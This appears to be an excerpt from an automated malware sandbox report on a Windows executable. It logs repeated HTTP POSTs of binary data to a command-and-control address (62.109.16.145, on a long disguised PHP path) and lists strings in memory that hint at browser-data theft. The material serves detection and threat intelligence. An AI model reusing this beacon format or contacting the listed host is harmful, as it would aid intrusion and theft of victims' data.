Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1040Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145
Source: unknown	TCP traffic detected without corresponding DNS query: 62.109.16.145

Source: unknown

HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.00000000059FF000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.109.16.145
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.109.16.145/protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJav
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.109.H
Source: FYKrlfQrxb.exe, 00000000.00000002.1686770256.00000000034A6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr, qKfb1Ejjpm.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr, qKfb1Ejjpm.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
